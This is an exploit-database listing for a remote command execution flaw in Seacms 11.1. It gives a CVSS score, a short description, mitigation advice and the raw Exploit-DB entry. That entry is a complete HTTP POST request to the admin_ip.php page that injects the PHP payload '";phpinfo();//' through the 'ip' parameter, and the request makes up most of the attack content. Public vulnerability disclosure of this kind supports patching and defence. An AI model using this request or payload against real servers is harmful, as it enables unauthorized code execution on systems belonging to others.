header-logo
Suggest Exploit
vendor:
Seacms
by:
j5s
9.8
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: Seacms
Affected Version From: 11.1
Affected Version To: 11.1
Patch Exists: NO
Related CWE: N/A
CPE: a:seacms:seacms:11.1
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: None
2020

Seacms 11.1 – ‘ip and weburl’ Remote Command Execution

Seacms 11.1 is vulnerable to Remote Command Execution due to improper input validation of the 'ip' parameter. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request with a malicious payload to the vulnerable server. The payload ';phpinfo();//' can be used to execute arbitrary code on the vulnerable server.

Mitigation:

Input validation should be performed on all user-supplied data to ensure that it is valid and expected. Additionally, the application should be configured to use the least privileged user account with the least amount of privileges necessary to perform its functions.
Source

Exploit-DB raw data:

# Exploit Title: Seacms 11.1 - 'ip and weburl' Remote Command Execution
# Date: 20201212
# Exploit Author: j5s
# Vendor Homepage: https://www.seacms.net/
# Software Link: https://www.seacms.net/
# Version: 11.1

POST /SeaCMS111/5f9js3/admin_ip.php?action=set HTTP/1.1
Host: 192.168.137.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://192.168.137.139
Connection: close
Referer: http://192.168.137.139/SeaCMS111/5f9js3/admin_ip.php
Cookie: more=1; Hm_lvt_22c4c422b3e7b17729ce8b5817d54592=1607175396;
PHPSESSID=t1gc019b35rrgmr1dg53gfje96;
t00ls=e54285de394c4207cd521213cebab040;
t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MzoicGhwIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D
Upgrade-Insecure-Requests: 1

v=0&ip=+%22%3Bphpinfo%28%29%3B%2F%2F

Vulnerable parameters:ip

payload:";phpinfo();//